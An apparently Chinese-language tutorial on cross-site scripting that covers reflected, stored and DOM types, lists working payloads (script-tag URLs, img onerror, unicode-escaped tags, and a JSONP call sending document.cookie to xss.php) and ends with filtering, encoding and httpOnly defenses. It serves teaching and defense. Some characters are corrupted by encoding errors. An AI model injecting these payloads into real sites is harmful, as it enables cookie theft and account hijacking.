XSS(跨站腳本攻擊)原理
- Xss(
cross-site scripting)攻擊指的是攻擊者向web頁面插入惡意html標(biāo)簽或者javascript。當(dāng)用戶瀏覽此網(wǎng)頁時(shí),腳本就會在用戶的瀏覽器上執(zhí)行,從而達(dá)到攻擊者的目的,比如獲取用戶的Cookie,導(dǎo)航惡意網(wǎng)站,攜帶木馬等
XSS攻擊分類
反射型XSS
存儲型XSS
DOMXSS
XSS根源就是沒完全過濾客戶端提交的數(shù)據(jù)
反射型XSS
反射性XSS,又稱為非持久性XSS。這種攻擊方式的注入代碼是從目服務(wù)器通過錯(cuò)誤信息、搜索結(jié)果等等方式“反射”回來的。攻擊方式具有一次性。攻擊者通過電子電子郵件,圖片,鏈接等方式將包含注入腳本的惡意鏈接發(fā)送給給受害者,當(dāng)受害著點(diǎn)擊鏈接時(shí),注入腳本被輸?shù)侥繕?biāo)服務(wù)器上,然后服務(wù)器將注入的腳本“反射”到受害者的瀏覽器上,從而在該瀏覽器上執(zhí)行這段腳本

http://www.targetserver.com/search.php?input=<script>alert(document.cookie);</script>
- 當(dāng)受害者點(diǎn)擊這個(gè)連接的時(shí)候,注入的腳本被當(dāng)作搜索的關(guān)鍵字發(fā)送到目標(biāo)服務(wù)器
search.php頁面中, - 則在搜索結(jié)果的返回返回頁面中,這段腳本就被當(dāng)作搜索的關(guān)鍵字嵌入
- 當(dāng)用戶得到搜索結(jié)果頁面后,這段腳本也得到了執(zhí)行。
- 這就是反射性XSS攻擊的原理
存儲型XSS
- 存儲型XSS,又稱為持久性CSS
- 和反射性XSS最大的不同的就是,攻擊腳本將永久地存放在目標(biāo)服務(wù)器的數(shù)據(jù)庫中。
- 這種攻擊多見于論壇,攻擊者在發(fā)帖的過程中,將惡意腳本連同正常信息一起注入到帖子的內(nèi)容中之中,隨著帖子被論壇服務(wù)器存儲下來,惡意腳本永久地存放在論壇服務(wù)器的后端數(shù)據(jù)庫中。
- 當(dāng)其他用戶瀏覽這個(gè)被注入了惡意腳本的帖子的時(shí)候,惡意腳本則會在用戶的瀏覽器中的到執(zhí)行,從而受到了攻擊
XSS的小技巧
- 通過簡單的script腳本制造XSS攻擊 容易被過濾
$username = "<script>
$.ajax({
url: 'xss.php',
dataType: 'jsonp',
data: {
'site': document.location.href,
'cookie': document.cookie}
});
</script>";
- 通過append制造的XSS攻擊 可以結(jié)合JQ的append和innerHTML append函數(shù)遇到
script標(biāo)簽會執(zhí)行eval函數(shù),并且innerHTML會將unicode碼轉(zhuǎn)換為字符實(shí)體
$username_info = "\u003cscript\u003ealert(document.cookie);";
- 通過
img標(biāo)簽的src屬性制造XSS攻擊 容易被過濾
$imgsrc="\" onerror=\"javascript:alert(document.cookie);\"";
- 通過
img標(biāo)簽unicode同時(shí)配合onerror時(shí)間制造XSS攻擊 不容易被過濾,一般需要用JSON轉(zhuǎn)義
$username2="\u003cimg src=\'\' onerror=javascript:alert(\'okok\');\u003e";
- 通過
url制造XSS攻擊
http://www.targetserver.com/search.php?input=<script>alert(document.cookie);</script>
- 通過
input輸入框制造XSS工具
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
- 通過
eval函數(shù)知道XSS攻擊
eval("alert(1)");
- 通過document.write('<script>alert(1)</script>')
document.write("<script>alert(1)</script>")
XSS出現(xiàn)的場景
1.1 比如:攻擊者在論壇中放一個(gè)看似安全的連接,騙取用戶點(diǎn)擊后,竊取cookie中的用戶私密信息;
1.2攻擊者在論壇中加一個(gè)惡意表單,當(dāng)用戶提交表單的時(shí)候哦,卻把信息傳送到攻擊者的服務(wù)器中,數(shù)據(jù)保存到數(shù)據(jù)中。而不是用戶原本以為的信任站點(diǎn)
XSS防范方法
首先代碼里對用戶輸入的地方和變量都需要仔細(xì)檢查長度和對
“<” “>” “;” “,”字符做過濾
任何內(nèi)容寫到頁面之前都必須加以encode,避免不小心把html tag弄出來。這一層面做好,至少可以堵住超過一半的XSS攻擊避免直接在
cookie中泄漏用戶隱私,例如email、密碼如果網(wǎng)站不需要再對瀏覽器對
cookie進(jìn)行操作,可以服務(wù)端設(shè)置httpOnly來防止javaScript代碼直接獲取cookie盡量采用
POST代替GET提交表單